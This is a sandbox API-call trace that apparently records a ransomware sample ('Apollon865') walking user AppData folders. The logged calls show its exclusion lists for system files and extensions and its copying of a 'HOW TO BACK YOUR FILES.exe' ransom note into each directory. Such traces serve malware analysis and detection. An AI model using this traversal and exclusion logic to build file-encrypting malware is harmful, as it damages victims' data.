	[0042.911] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="Apollon865.txt.exe") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2=".") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="..") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="windows") returned -1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="bootmgr") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="temp") returned -1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="pagefile.sys") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="boot") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="ids.txt") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="ntuser.dat") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="perflogs") returned 1
	[0042.912] lstrcmpiW (lpString1="PowerPoint", lpString2="MSBuild") returned 1
	[0042.912] lstrlenW (lpString="PowerPoint") returned 10
	[0042.912] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook") returned 63
	[0042.912] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PowerPoint" | out: lpString1="PowerPoint") returned="PowerPoint"
	[0042.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0042.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8e98
	[0042.912] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0042.912] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="Apollon865.txt.exe") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2=".") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="..") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="windows") returned -1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="bootmgr") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="temp") returned -1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="pagefile.sys") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="boot") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="ids.txt") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="ntuser.dat") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="perflogs") returned 1
	[0042.912] lstrcmpiW (lpString1="Proof", lpString2="MSBuild") returned 1
	[0042.913] lstrlenW (lpString="Proof") returned 5
	[0042.913] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint") returned 66
	[0042.913] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Proof" | out: lpString1="Proof") returned="Proof"
	[0042.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0042.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bfab8
	[0042.913] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0042.913] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="Apollon865.txt.exe") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2=".") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="..") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="windows") returned -1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="bootmgr") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="temp") returned -1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="pagefile.sys") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="boot") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="ids.txt") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="ntuser.dat") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="perflogs") returned 1
	[0042.913] lstrcmpiW (lpString1="Protect", lpString2="MSBuild") returned 1
	[0042.913] lstrlenW (lpString="Protect") returned 7
	[0042.913] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof") returned 61
	[0042.913] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Protect" | out: lpString1="Protect") returned="Protect"
	[0042.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0042.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfb40
	[0042.913] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0042.913] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0042.913] lstrcmpiW (lpString1="Publisher", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.913] lstrcmpiW (lpString1="Publisher", lpString2="Apollon865.txt.exe") returned 1
	[0042.913] lstrcmpiW (lpString1="Publisher", lpString2=".") returned 1
	[0042.913] lstrcmpiW (lpString1="Publisher", lpString2="..") returned 1
	[0042.913] lstrcmpiW (lpString1="Publisher", lpString2="windows") returned -1
	[0042.914] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Publisher" | out: lpString1="Publisher") returned="Publisher"
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8e08
	[0042.914] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0042.914] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1
	[0042.914] lstrcmpiW (lpString1="Publisher Building Blocks", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.914] lstrcmpiW (lpString1="Publisher Building Blocks", lpString2="Apollon865.txt.exe") returned 1
	[0042.914] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Publisher Building Blocks" | out: lpString1="Publisher Building Blocks") returned="Publisher Building Blocks"
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x5995a0
	[0042.914] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0042.914] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1
	[0042.914] lstrcmpiW (lpString1="Speech", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.914] lstrcmpiW (lpString1="Speech", lpString2="Apollon865.txt.exe") returned 1
	[0042.914] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Speech" | out: lpString1="Speech") returned="Speech"
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfbc8
	[0042.914] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fd10
	[0042.914] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1
	[0042.914] lstrcmpiW (lpString1="SystemCertificates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.914] lstrcmpiW (lpString1="SystemCertificates", lpString2="Apollon865.txt.exe") returned 1
	[0042.914] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SystemCertificates" | out: lpString1="SystemCertificates") returned="SystemCertificates"
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599bd8
	[0042.914] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0042.914] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0042.914] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.914] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0042.914] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0042.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8d78
	[0042.915] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0042.915] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1
	[0042.915] lstrcmpiW (lpString1="UProof", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.915] lstrcmpiW (lpString1="UProof", lpString2="Apollon865.txt.exe") returned 1
	[0042.915] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="UProof" | out: lpString1="UProof") returned="UProof"
	[0042.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0042.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfc50
	[0042.915] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0042.915] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0042.915] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.915] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0042.915] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Word" | out: lpString1="Word") returned="Word"
	[0042.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0042.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfcd8
	[0042.915] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0042.915] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0
	[0042.915] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.915] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0042.915] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word"
	[0042.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0042.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0042.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word") returned 60
	[0042.915] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word"
	[0042.915] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.915] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\word\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.922] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31a85a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a85a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.922] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.922] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.922] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="STARTUP" | out: lpString1="STARTUP") returned="STARTUP"
	[0042.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0042.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599c78
	[0042.922] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0042.922] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 0
	[0042.922] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.923] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0042.923] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP"
	[0042.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c78 | out: hHeap=0x580000) returned 1
	[0042.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0042.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP") returned 68
	[0042.923] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP"
	[0042.923] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\word\\startup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.928] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.928] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x31a85a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a85a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.929] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.929] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.929] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof"
	[0042.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0042.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0042.929] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof") returned 62
	[0042.929] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof"
	[0042.929] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.929] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.945] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31a85a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31a85a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.946] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.946] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.946] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="CUSTOM.DIC" | out: lpString1="CUSTOM.DIC") returned="CUSTOM.DIC"
	[0042.946] lstrlenW (lpString="CUSTOM.DIC") returned 10
	[0042.946] lstrlenW (lpString="Apollon865") returned 10
	[0042.946] lstrlenW (lpString=".dll") returned 4
	[0042.946] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2=".dll") returned 1
	[0042.946] lstrlenW (lpString=".lnk") returned 4
	[0042.946] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2=".lnk") returned 1
	[0042.946] lstrlenW (lpString=".ini") returned 4
	[0042.946] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2=".ini") returned 1
	[0042.946] lstrlenW (lpString=".sys") returned 4
	[0042.946] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2=".sys") returned 1
	[0042.946] lstrlenW (lpString="CUSTOM.DIC") returned 10
	[0042.946] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates"
	[0042.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
